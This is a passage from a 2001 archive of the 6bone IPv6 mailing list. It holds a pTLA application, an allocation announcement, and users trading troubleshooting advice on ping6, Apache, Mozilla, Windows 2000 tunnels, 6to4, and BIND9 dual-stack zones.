>I believe everything's in order.
>
>Best!!
>Alan
>------------------------------------------------------------------------
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>         ipv6-site: NC-REN
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>         3ffe:1cdd::1
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>         We have no control over ip6.int, as MERIT is not longer funding
>         IPv6; we do, however, have router setup w/ AAAA records.
>          ipv6-gw-3600.ncni.net is the core router.
>          ipv6.duke.edu is the host.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>         ipv6.duke.edu
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>         ipv6-site: NC-REN
>         contact:   AH2-6BONE
>         contact:   RDC-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>         helpdesk@ncren.net
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>       NCREN Internet Services serves as the Internet access provider for 16
>       campus universities, 40 private and community colleges, and a number
>       of other educational and research institutions throughout North
>       Carolina.  http://www.ncren.net/Internet/ for more information.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>       This commitment is hereby made.
...


From 6bone-owner  Thu Nov  8 15:25:48 2001
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From: "Miguel Luengo" <ipv6@isis.unlp.edu.ar>
To: <6bone@ISI.EDU>
Subject: test
Date: Thu, 8 Nov 2001 20:28:46 -0300
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This is a multi-part message in MIME format.

------=_NextPart_000_000A_01C16893.F7A82E40
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Only test

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
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<DIV><FONT face=3DArial size=3D2>Only test</FONT></DIV></BODY></HTML>

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From 6bone-owner  Thu Nov  8 15:45:45 2001
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Subject: Test list
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Test


From 6bone-owner  Thu Nov  8 15:57:56 2001
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Date: Thu, 8 Nov 2001 20:56:14 -0300 (ART)
From: <ipv6@isis.unlp.edu.ar>
To: <6bone@ISI.EDU>
Subject: No ping
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Hello, I have 3 linux (2 Red Hat 7,1 and Suse 7.1 on Sparc), 1 FreeBSD and
1 Solaris 8 IPv6 enable.
My network IPv6 is connected to UNAM (Mexico) with Cisco router.
I want to do ping to the unicast address in my LAN do not obtain answer.
if ping is to the link local or an address in other network, I obtain
answer.
Can You help me???


Miguel


From 6bone-owner  Thu Nov  8 17:30:10 2001
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From: "Marcelo M. Sosa Lugones" <marcelo@sosa.com.ar>
To: <ipv6@isis.unlp.edu.ar>, <6bone@ISI.EDU>
References: <Pine.LNX.4.33.0111082045530.4724-100000@isis.unlp.edu.ar>
Subject: Re: No ping
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Hi Miguel,

> My network IPv6 is connected to UNAM (Mexico) with Cisco router.
> I want to do ping to the unicast address in my LAN do not obtain answer.
> if ping is to the link local or an address in other network, I obtain
> answer.

If you ping the unicast address of any computer in your lan, do you see the
packets coming in in the destination machine? does it reply? It happens only
with the linux boxes or with any computer? can you ping the local gateway?
try changing the ttl (ping6 -t ttl host)

Regards,
Marcelo.


From 6bone-owner  Thu Nov  8 22:15:38 2001
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Date: Thu, 8 Nov 2001 22:16:03 -0800 (PST)
From: killyeon kim <killyeon@yahoo.com>
Subject: How to configure mozilla and apache for IPv6 in Linux7.1?
To: 6bone@ISI.EDU
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Hello, every one.

I have installed apache-1.3.19-5.src.rpm(with
apache-1.3.19+IPv6.spec) and
mozilla-i686-pc-linux-gnu-0.9.5.tar.gz refer to Peter
Bieringer's linux IPv6 beginner's guide in WowLinux
7.1.
But I cant't access the apache server with mozilla by
IPv6 address, although I can access it with IPv4
address. 
I don't know the problem is because of mozilla client
 or apache web server?
Shoud I configure the httpd.conf with some IPv6
supporting option? Or, should mozilla be patched with
IPv6? If so, where can I get the patch file?
And where can I get some detail guide for
configuration IPv6 application servers, like apache,
Bind, ftpd, etc.
Please give me any help...
Thanks in advance



__________________________________________________
Do You Yahoo!?
Find a job, post your resume.
http://careers.yahoo.com

From 6bone-owner  Thu Nov  8 23:56:38 2001
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To: killyeon kim <killyeon@yahoo.com>
cc: <6bone@ISI.EDU>
Subject: Re: How to configure mozilla and apache for IPv6 in Linux7.1?
In-Reply-To: <20011109061603.84501.qmail@web13701.mail.yahoo.com>
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Did you add this bit to httpd.conf?

# Listen can take two arguments.
# (this is an extension for supporting IPv6 addresses)
Listen :: 80
Listen 0.0.0.0 80

Pete.

On Thu, 8 Nov 2001, killyeon kim wrote:

>
> Hello, every one.
>
> I have installed apache-1.3.19-5.src.rpm(with
> apache-1.3.19+IPv6.spec) and
> mozilla-i686-pc-linux-gnu-0.9.5.tar.gz refer to Peter
> Bieringer's linux IPv6 beginner's guide in WowLinux
> 7.1.
> But I cant't access the apache server with mozilla by
> IPv6 address, although I can access it with IPv4
> address.
> I don't know the problem is because of mozilla client
>  or apache web server?
> Shoud I configure the httpd.conf with some IPv6
> supporting option? Or, should mozilla be patched with
> IPv6? If so, where can I get the patch file?
> And where can I get some detail guide for
> configuration IPv6 application servers, like apache,
> Bind, ftpd, etc.
> Please give me any help...
> Thanks in advance
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Find a job, post your resume.
> http://careers.yahoo.com
>


From 6bone-owner  Fri Nov  9 03:32:24 2001
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From: scott@fenton.baltimore.md.us (Scott Fenton)
Date: Fri, 9 Nov 2001 06:32:48 -0500
To: 6bone@ISI.EDU
Subject: Re: How to configure mozilla and apache for IPv6 in Linux7.1?
Message-ID: <20011109063248.A16551@home.com>
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On Thu, Nov 08, 2001 at 10:16:03PM -0800, the keyboard of killyeon kim was =
alleged to have written:
> [snip]
> I don't know the problem is because of mozilla client
>  or apache web server?
> [snip]

Try going to some other IPv6 server that you know is working. I
can tell you that Debian's moz build comes with working IPv6=20
support, but I'm not sure about RH.

-Scott

--=20
GPG public key fingerprint:  B6B9 9F98 848B 540D 419D  5487 6B6B 5DB9 B5A5 =
25FA

-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GCS d>- s: a14 C++>++++ UL++++>$ P++(++++) L+++>++++=20
E>++ W++(--) N !o K w--- !O M+(--) !V PS++(+++) PE=20
Y+>++ PGP+@ t- 5- !X R- tv+>! b>+++ DI++++ !D G=20
e->++++ h! r y-
------END GEEK CODE BLOCK------

--k+w/mQv8wyuph6w0
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Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7677ga2tdubWlJfoRAt6DAKCHxfMPZF+cMn5P8Hur4SxgoRXrdACaAh2K
lEsVspsMsgk1ySgbRCnfRQw=
=qX1a
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--k+w/mQv8wyuph6w0--

From 6bone-owner  Fri Nov  9 07:10:43 2001
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Date: Fri, 9 Nov 2001 17:11:03 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Re: How to configure mozilla and apache for IPv6 in Linux7.1?
In-Reply-To: <20011109063248.A16551@home.com>
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On Fri, 9 Nov 2001, Scott Fenton wrote:
> On Thu, Nov 08, 2001 at 10:16:03PM -0800, the keyboard of killyeon kim was alleged to have written:
> > [snip]
> > I don't know the problem is because of mozilla client
> >  or apache web server?
> > [snip]
> 
> Try going to some other IPv6 server that you know is working. I
> can tell you that Debian's moz build comes with working IPv6 
> support, but I'm not sure about RH.

Red Hat's mozilla works with IPv6 since about RHL70.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Nov  9 08:06:25 2001
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Date: Fri, 09 Nov 2001 08:06:08 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8290::/28 allocated to AOL
Cc: Bill Manning <bmanning@ISI.EDU>, "Cleve Mickles" <micklesc@aol.net>
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AOL has been allocated pTLA 3FFE:8290::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?AOL>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.


Thanks,

Bob


From 6bone-owner  Sun Nov 11 16:08:56 2001
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Date: Sun, 11 Nov 2001 19:14:23 -0500
To: 6bone@ISI.EDU
From: "Ariel A. Ramos R." <ariel@alfa.com.ni>
Subject: Some questions
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Hey guys, i have some questions

1) I connect to internet via dialup, the computer uses win98 and uses 
winroute to act as a gateway of my LAN... My pc has windows 2000 with sp2 
and ipv6 support that i have downloaded from microsoft's page. Can i send 
ipv6 traffic?
I tried to ping www.6bone.net with ping6 but i got these results:
D:\>ping6 www.6bone.net

Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:

No route to destination.
No route to destination.
No route to destination.
No route to destination.

I think that my gateway can't route ipv6 packets
how i can correct this? i need to have a *NIX router?


From 6bone-owner  Sun Nov 11 19:50:29 2001
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To: "Ariel A. Ramos R." <ariel@alfa.com.ni>
CC: 6bone@ISI.EDU
Subject: Re: Some questions
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Have you properly configured your IPv6 stuff?
Is the TCPIP6 stuff running?

> Commands:
   net stop tcpip6
   net start tcpip6

> For a IPv6 tunnel (non-NAT):
   1.2.3.4 -- Endpoint of tunnel
   3ffe:a:b:a::1285 -- Your IPv6 address

Commands:
   ipv6 rtu ::/0 2/::1.2.3.4 pub
   ipv6 adu 2/3ffe:a:b:a::1285

> For a NAT windows box:
   2002:aabb:ccdd:1::3 - IP of NAT box
   2002:aabb:ccdd:1::2 - IP of next hop (router internal interface)

Commands:
   net stop tcpip6
   net start tcpip6
   ipv6 adu 4/2002:aabb:ccdd:1::3
   ipv6 rtu ::/0 4/2002:aabb:ccdd:1::2


"Ariel A. Ramos R." wrote:
> 
> Hey guys, i have some questions
> 
> 1) I connect to internet via dialup, the computer uses win98 and uses
> winroute to act as a gateway of my LAN... My pc has windows 2000 with sp2
> and ipv6 support that i have downloaded from microsoft's page. Can i send
> ipv6 traffic?
> I tried to ping www.6bone.net with ping6 but i got these results:
> D:\>ping6 www.6bone.net
> 
> Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
> 
> No route to destination.
> No route to destination.
> No route to destination.
> No route to destination.
> 
> I think that my gateway can't route ipv6 packets
> how i can correct this? i need to have a *NIX router?

-- 
:: No officer, I said I use BSD, not LSD...
lazy <lazy@bsdbox.org> http://packetjunkie.net/

From 6bone-owner  Mon Nov 12 03:02:54 2001
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Date: Mon, 12 Nov 2001 08:02:49 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: "Ariel A. Ramos R." <ariel@alfa.com.ni>
cc: <6bone@ISI.EDU>
Subject: Re: Some questions
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Ariel,

are you sure you already set up an IPv6 over IPv4 tunnel with an IPv6 
tunnel broker in your gateway? AFAIK, nor win98 neither winroute have the 
capability of establishing IPv6 tunnels.

You'd probably need to change your win98 gateway box for a win2000 (or 
*NIX) box before you can route IPv6 packets.

To get a tunnel broker look at www.freenet6.net where you can obtain an
upstream provider and a /48 for free in a few minutes.

Regards,

Flavio.


On Sun, 11 Nov 2001, Ariel A. Ramos R. wrote:

> Hey guys, i have some questions
> 
> 1) I connect to internet via dialup, the computer uses win98 and uses 
> winroute to act as a gateway of my LAN... My pc has windows 2000 with sp2 
> and ipv6 support that i have downloaded from microsoft's page. Can i send 
> ipv6 traffic?
> I tried to ping www.6bone.net with ping6 but i got these results:
> D:\>ping6 www.6bone.net
> 
> Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
> 
> No route to destination.
> No route to destination.
> No route to destination.
> No route to destination.
> 
> I think that my gateway can't route ipv6 packets
> how i can correct this? i need to have a *NIX router?
> 


From 6bone-owner  Tue Nov 13 12:28:30 2001
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From: "El Abed, Mehdi" <Mehdi.ElAbed@Compaq.com>
To: 6bone@ISI.EDU
Subject: ipv6 snmp agent
Date: Tue, 13 Nov 2001 15:06:44 -0000
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Hello,
I've tried to use the ucd-snmp 4.2.2 in order to run an ipv6 snmp agent
over tru64  but with no success (the full configuration doesen't
compile) and the minimal agent configuration doesn't work with ipv6;
Could anyone please give me a right version (or a patch) to use so that
i can implement an snmp ipv6 agent over unix tru64?

Thanks
Mehdi El Abed

From 6bone-owner  Wed Nov 14 05:07:48 2001
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Date: Wed, 14 Nov 2001 07:02:08 -0600
From: "Todd T. Fries" <todd@fries.net>
To: ipv6@openbsd.org, 6bone@ISI.EDU
Subject: [custserv@netsol.com: Service Request Number: 1-UX4DN]
Message-ID: <20011114070208.E30841@eclipse.fries.net>
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Anyone know of another registrar that supports this?

----- Forwarded message from Network Solutions <custserv@netsol.com> -----

From: Network Solutions <custserv@netsol.com>
To: "'todd@fries.net'" <todd@fries.net>
Subject: Service Request Number: 1-UX4DN
Date: Tue, 13 Nov 2001 19:48:27 -0600

Dear Todd Fries

Thank you for your inquiry received on 11/1/01 1:39:31 AM. 

We do not currently support these new ipv6 dns servers. At this time there
is no estimated date on when we will support them.

If you need to contact us in the future about this inquiry, please provide
number 1-UX4DN to our customer service representative.

Thank you for choosing Network Solutions. 

Sincerely,

NADELE001
Customer Service Representative
Network Solutions, Inc.
www.networksolutions.com

Please do not reply directly to this email address.  Replies sent to this
email address will not be responded to.  To reach Network Solutions, please
visit our web site at www.networksolutions.com or send an email to
help@networksolutions.com.  Thank you.

----- End forwarded message -----

-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Wed Nov 14 05:34:02 2001
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Subject: BOUNCE 6bone@zephyr.iipv6 DNS servers
To: 6bone@ISI.EDU
Date: Wed, 14 Nov 2001 05:34:31 -0800 (PST)
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% On Wed, Nov 14, 2001 at 07:02:08AM -0600, Todd T. Fries wrote:
% > We do not currently support these new ipv6 dns servers. At this time there
% > is no estimated date on when we will support them.
% 
% WTH are ipv6 DNS Servers?
% 
% 	-mc

	IPv6 DNS servers are DNS servers that speak DNS on an IPv6 stack.
	Most DNS servers todate are IPv4 speakers only.  There are some
	servers that speak both v4 and v6 and some experimental systems
	that speak IPv6 only.  If there is interest in native v6 speaking
	DNS service for the whole DNS heirarchy, please let me know.

-- bill

From 6bone-owner  Wed Nov 14 06:25:33 2001
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Date: Wed, 14 Nov 2001 08:19:46 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Paul de Weerd <paul@mail.me.maar.nu>
Cc: Rico -mc- Gloeckner <mc@ukeer.de>, ipv6@openbsd.org, 6bone@ISI.EDU
Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
Message-ID: <20011114081946.F30841@eclipse.fries.net>
References: <20011114070208.E30841@eclipse.fries.net> <20011114141712.A20143@magrathea.ukeer.de> <20011114145242.D15927@potato.amsterdam.weirdnet.nl> <20011114144136.A18869@magrathea.ukeer.de> <20011114152017.E15927@potato.amsterdam.weirdnet.nl>
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It makes perfect sense to do this.  Please explain if I'm missing something,
but the current strategy for resolving a domain is to try the first dns
server, and if that doesn't work, the next, etc.

Not that I want the 'first' dns server to be an ipv6 only dns server
(aka ns6.fries.net is 3ffe:b00:4004:1::1:6 and nothing else A or AAAA wise)
.. 

What I am trying to determine here is .. that if we're truly wanting to tell
the world 'here is ipv6, it is fully functional' how can we say this and
yet not be able to register a single ipv6 ip for a dns server?

Sure, I buy into the argument that it is not forward and not compatible
thinking if the only dns server for any domain is ipv6 only.  The time
will come for that, it is not yet here.  But the time has come and
past to be able to register an ipv6 dns server.  Case in point that
this works, ip6.int:

todd:1$ host -t ns ip6.int
ip6.int. name server z.ip6.int.
ip6.int. name server ns3.nic.fr.
ip6.int. name server flag.ep.net.
ip6.int. name server imag.imag.fr.
ip6.int. name server munnari.oz.au.
ip6.int. name server y.ip6.int.
todd:2$ host -t any z.ip6.int
z.ip6.int. has v6 address 0 3ffe:0:1::c620:242
z.ip6.int. has address 198.32.2.66
z.ip6.int. has AAAA address 3ffe:0:1::c620:242
todd:3$ host -t any ns3.nic.fr
ns3.nic.fr. has address 192.134.0.49
todd:4$ host -t any flag.ep.net
flag.ep.net. has address 198.32.4.13
todd:5$ host -t any imag.imag.fr
imag.imag.fr. mail is handled by 50 ebene.inrialpes.fr.
imag.imag.fr. mail is handled by 10 imag.imag.fr.
imag.imag.fr. mail is handled by 20 harmonie.imag.fr.
imag.imag.fr. has address 129.88.30.1
todd:6$ host -t any munnari.oz.au
munnari.oz.au. has address 128.250.22.2
munnari.oz.au. has address 128.250.1.21
todd:7$ host -t any y.ip6.int
y.ip6.int. has AAAA address 3ffe:50e::1
todd:8$ 

If you will note, there are several ipv6 dns servers and one (y.ip6.int)
is ipv6 only.  This does not stop ipv4 only clients from determining the
hostname of an ipv6 address.  But it does show that you can mix ipv4 and
ipv6 dns servers and things will work properly.  Now if someone could just
give me an example of a *-servers.net server (where * is a.root and a.gtld)
that dispenses AAAA addresses for any domain, I'd be grateful.  This would
be a 'step' to show that the toplevel dns servers are capable of
dispensing information, and only the infrastructure to update them
is what is not in place.

In short, we're not 'there' yet.  Where 'there' is 'having deployed ipv6
globally everywhere'.  How do we get 'there' ?  I feel that taking steps
such as the one I'm trying to is one of many ways.  The more ways we
try, the better off we are.  As Vincent Cerf says (speaking of the 6bone and
ipv6 usage in general) at http://www.ipv6forum.com/navbar/technology/papers.htm,

	"Think of it this way: my old friend Bob Metcalf calling something
	 we call METCALF's Law.

	 It says that the value of a network is equal to the square of the
	 number of people who use it.

	 So when you join a network, you not only get to enjoy its facilities,
	 but your presence also increases the value of the network for others. 

	 Together, we can take the Internet where no other network has gone
	 before."

Penned by Paul de Weerd on Wed, Nov 14, 2001 at 03:20:17PM +0100, we have:
| On Wed, Nov 14, 2001 at 02:41:36PM +0100, Rico -mc- Gloeckner wrote:
| | On Wed, Nov 14, 2001 at 02:52:42PM +0100, Paul de Weerd wrote:
| | > Servers that either
| | > a)	resolve IPv6 adresses (back and forth)
| | 
| | any DNS Server is able to do this.
| | IPV6 RRs forward are just AAAA (instead of A) RRs.
| | Reverse its just the hexa ip, dot-seperated nibbles read reversely under
| | the ip6.int domain
| | (i.e. e.f.f.3.ip6.int for IN RR of 3ffe::)
| | 
| | > b)	are accessible through IPv6
| | 
| | It doesnt (yet) make sense to do this. Any ipv4 client trying to resolve
| | your domin will fail in doing that because it wont be able to reach your
| | DNS Server via ipv6.
| 
| Why not ? I have a fully operational DNS server that is accessible
| through IPv4 *AND* IPv6.
| Suppose NS contains'ns.domain.tld' and that this resolves to both an
| IPv4 and an IPv6 address. Where does the ipv4 client fail in resolving
| my domain ?
| 
| Anyway, I was just answering your question on what IPv6 DNS servers
| were and I still think that it's either a or b or both.
| 
| | 
| | 	-mc
| | 
| | PS: Yes, i know what iam speaking of - i have a fully functional ipv6
| | Setup, including forward- and Reverse-RRs for IPv6 and ipv6-accessible
| | DNS.
| | Any Host having a working IPV6 SMTP Server will even try to deliver Mails
| | to me via Ipv6 first.
| 
| So do I, and, So do I.
| 
| Paul 'WEiRD' de Weerd
| 
| -- 
| >++++++++[<++++++++++>-]<+++++++.>+++[<------>-]<.>+++[<+
| +++++++++++>-]<.>++[<------------>-]<+.--------------.[-]

-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Wed Nov 14 09:14:59 2001
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Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
Date: Wed, 14 Nov 2001 18:22:19 +0100
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What is the problem?

Buy a domain which has ipv6 nameservers? Just put IN NS to a host you control that has ipv6.
Want netsol to host it? 
Want the NS' of the tld to have ipv6 nameservers?


-j

----- Original Message ----- 
From: "Todd T. Fries" <todd@fries.net>
To: <ipv6@openbsd.org>; <6bone@ISI.EDU>
Sent: Wednesday, November 14, 2001 2:02 PM
Subject: [custserv@netsol.com: Service Request Number: 1-UX4DN]


> Anyone know of another registrar that supports this?
> 
> ----- Forwarded message from Network Solutions <custserv@netsol.com> -----
> 
> From: Network Solutions <custserv@netsol.com>
> To: "'todd@fries.net'" <todd@fries.net>
> Subject: Service Request Number: 1-UX4DN
> Date: Tue, 13 Nov 2001 19:48:27 -0600
> 
> Dear Todd Fries
> 
> Thank you for your inquiry received on 11/1/01 1:39:31 AM. 
> 
> We do not currently support these new ipv6 dns servers. At this time there
> is no estimated date on when we will support them.
> 
> If you need to contact us in the future about this inquiry, please provide
> number 1-UX4DN to our customer service representative.
> 
> Thank you for choosing Network Solutions. 
> 
> Sincerely,
> 
> NADELE001
> Customer Service Representative
> Network Solutions, Inc.
> www.networksolutions.com
> 
> Please do not reply directly to this email address.  Replies sent to this
> email address will not be responded to.  To reach Network Solutions, please
> visit our web site at www.networksolutions.com or send an email to
> help@networksolutions.com.  Thank you.
> 
> ----- End forwarded message -----
> 
> -- 
> Todd Fries .. todd@fries.net
> 


From 6bone-owner  Wed Nov 14 14:11:05 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
Subject: RE: BOUNCE 6bone@zephyr.iipv6 DNS servers
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Bill Manning <bmanning@isi.edu> wrote:

> % On Wed, Nov 14, 2001 at 07:02:08AM -0600, Todd T. Fries wrote:
> % > We do not currently support these new ipv6 dns servers. 
> At this time there
> % > is no estimated date on when we will support them.
> % 
> % WTH are ipv6 DNS Servers?
> % 
> % 	-mc
> 
> 	IPv6 DNS servers are DNS servers that speak DNS on an IPv6
stack.
> 	Most DNS servers todate are IPv4 speakers only.  There are some
> 	servers that speak both v4 and v6 and some experimental systems
> 	that speak IPv6 only.  If there is interest in native v6
speaking
> 	DNS service for the whole DNS heirarchy, please let me know.

Ofcourse this would be a great thing to have the root servers available
over IPv6 without having to depend on IPv4.
For the coming 20 years or something it will be inevitable to have them
speaking IPv4 too ofcourse...
But having at least a couple of them doing 'native' IPv6 would be a
great thing IMHO.
So a dualstacked root server would be great and a small step for IPv6
but a big step into the future... ;)

Greets,
 Jeroen


From 6bone-owner  Wed Nov 14 18:03:08 2001
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Date: Wed, 14 Nov 2001 21:08:51 -0500
To: 6bone@ISI.EDU
From: "Ariel A. Ramos R." <ariel@alfa.com.ni>
Subject: 6bone
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who has tested a ping6 to 6bone, using microsoft ipv6 support for win2k?
i can ping only to MS hosts, as shown below:

D:\>ping6 ipv6.research.microsoft.com

Pinging ipv6.research.microsoft.com [2002:836b:4179::836b:4179] with 32 
bytes of
  data:

Reply from 2002:836b:4179::836b:4179: bytes=32 time=357ms
Reply from 2002:836b:4179::836b:4179: bytes=32 time=310ms
Reply from 2002:836b:4179::836b:4179: bytes=32 time=390ms
Reply from 2002:836b:4179::836b:4179: bytes=32 time=330ms

but, when i ping to 6bone host:

D:\>ping6 www.6bone.net

Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

to configure the 6to4 in win2k, i used

D:\>6to4cfg -b
Probing 6to4 relay router 192.88.99.1...
Probing 6to4 relay router 131.107.152.32...
Found 6to4 relay router host1504.rte.microsoft.com (131.107.152.32)...
Using local address 206.128.113.51 for the 6to4 prefix.


Anybody can help me?


From 6bone-owner  Wed Nov 14 19:48:42 2001
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Date: Wed, 14 Nov 2001 19:49:12 -0800 (PST)
From: killyeon kim <killyeon@yahoo.com>
Subject: how to configure for IPv4 and IPv6 in BIND9.1.3?
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Hello.

I want to set bind9.1.3 to support IPv4 and IPv6.
Should I give the different domains for IPv4 hosts and
IPv6 hosts?
How shoud I configure the "named.conf" to support IPv4
and IPv6 at the same time?
I don't know what's wrong in my named.conf.
The following is part of my configuration.
=======
zone "galaxy.pusan.ac.kr" {
    type master;
    file "galaxy.zone";
};

zone "v6.galaxy.pusan.ac.kr" {
     type master;
     file "v6.galaxy.zone";
};
=========

And I put A records for IPv4 hosts in galaxy.zone, and
AAAA records for IPv6 hosts in v6.galaxy.zone. Then,
IPv4 hosts and IPv6 hosts have the same domain or not?
The name server works well for IPv4 host and IPv6
reverse zone, but it can't work for IPv6 forward zone.


And if I want to set a bind9 dns server authoritative
for more than one domain, how should I do?

Please attach me named.conf and zone files if you have
ones.
Thanks a lot.



__________________________________________________
Do You Yahoo!?
Find the one for you at Yahoo! Personals
http://personals.yahoo.com

From 6bone-owner  Wed Nov 14 22:37:20 2001
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Date: Wed, 14 Nov 2001 22:29:06 -0800 (PST)
From: "Michael K. Smith" <mike@wackypackets.com>
To: "Ariel A. Ramos R." <ariel@alfa.com.ni>
cc: 6bone@ISI.EDU
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Hello:

I am able to successfully ping both hosts using the Win2K ipv6 stack for
SP2.  Have you configured Win2K beyond the defaults?  I had to put in a
static address and default gateway because the auto-configuration
parameters were not anything like what I needed.  

I used the following commands...

ipv6 if (to figure out which interface number was in use)

ipv6 adu (to configure the ipv6 address to the interface from the command
above)

ipv6 rt (to find the default route in place)

ipv6 rtu (to remove the standard default gateway and add my own default
gateway)

The readme.html file included with the IPv6 kit is pretty good, but if you
still have problems, hit me offline and I'll see if I can help.

Mike

On Wed, 14 Nov 2001, Ariel A. Ramos R. wrote:

> who has tested a ping6 to 6bone, using microsoft ipv6 support for win2k?
> i can ping only to MS hosts, as shown below:
> 
> D:\>ping6 ipv6.research.microsoft.com
> 
> Pinging ipv6.research.microsoft.com [2002:836b:4179::836b:4179] with 32 
> bytes of
>   data:
> 
> Reply from 2002:836b:4179::836b:4179: bytes=32 time=357ms
> Reply from 2002:836b:4179::836b:4179: bytes=32 time=310ms
> Reply from 2002:836b:4179::836b:4179: bytes=32 time=390ms
> Reply from 2002:836b:4179::836b:4179: bytes=32 time=330ms
> 
> but, when i ping to 6bone host:
> 
> D:\>ping6 www.6bone.net
> 
> Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
> 
> Request timed out.
> Request timed out.
> Request timed out.
> Request timed out.
> 
> to configure the 6to4 in win2k, i used
> 
> D:\>6to4cfg -b
> Probing 6to4 relay router 192.88.99.1...
> Probing 6to4 relay router 131.107.152.32...
> Found 6to4 relay router host1504.rte.microsoft.com (131.107.152.32)...
> Using local address 206.128.113.51 for the 6to4 prefix.
> 
> 
> Anybody can help me?
> 
> 


From 6bone-owner  Thu Nov 15 01:51:12 2001
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Ariel A. Ramos R. <ariel@alfa.com.ni> wrote:

> who has tested a ping6 to 6bone, using microsoft ipv6 support for
win2k?
> i can ping only to MS hosts, as shown below:
<SNIP>

> D:\>6to4cfg -b
> Probing 6to4 relay router 192.88.99.1...
> Probing 6to4 relay router 131.107.152.32...
> Found 6to4 relay router host1504.rte.microsoft.com (131.107.152.32)...
> Using local address 206.128.113.51 for the 6to4 prefix.

Check your routing tables and try 'tracert6 <host>' to determine if
there wasn't anything down at the moment.

You should very probably also add a default route over the 6to4 device.

Try something like:
cmd> ipv6 rtu ::/0 2/::131.107.152.32 pub life 1800

Also see:
http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp
and ofcourse http://www.microsoft.com/ipv6/ :)

Greets,
 Jeroen


From 6bone-owner  Thu Nov 15 01:58:49 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'killyeon kim'" <killyeon@yahoo.com>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: how to configure for IPv4 and IPv6 in BIND9.1.3?
Date: Thu, 15 Nov 2001 10:58:09 +0100
Organization: Unfix
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killyeon kim <killyeon@yahoo.com> wrote:

> I want to set bind9.1.3 to support IPv4 and IPv6.
> Should I give the different domains for IPv4 hosts and IPv6 hosts?
Nopes unless you really want that.
It's all administrative alike and the admin of a zone may put (almost :)
anything in their zones and structure them in any way the want to.

Personally I used to have a separate ipv6.<bla>.<tld> too but I
currently only use that for software not being able to specifically
request the use of IPv6, or ipv4.<bla>.<bla> for IPv4 ofcourse :).

> How shoud I configure the "named.conf" to support IPv4 and IPv6 at the
same time?
> I don't know what's wrong in my named.conf.
> The following is part of my configuration.
> =======
> zone "galaxy.pusan.ac.kr" {
>     type master;
>     file "galaxy.zone";
> };
> 
> zone "v6.galaxy.pusan.ac.kr" {
>      type master;
>      file "v6.galaxy.zone";
> };
> =========
> 
> And I put A records for IPv4 hosts in galaxy.zone, and
> AAAA records for IPv6 hosts in v6.galaxy.zone. Then,
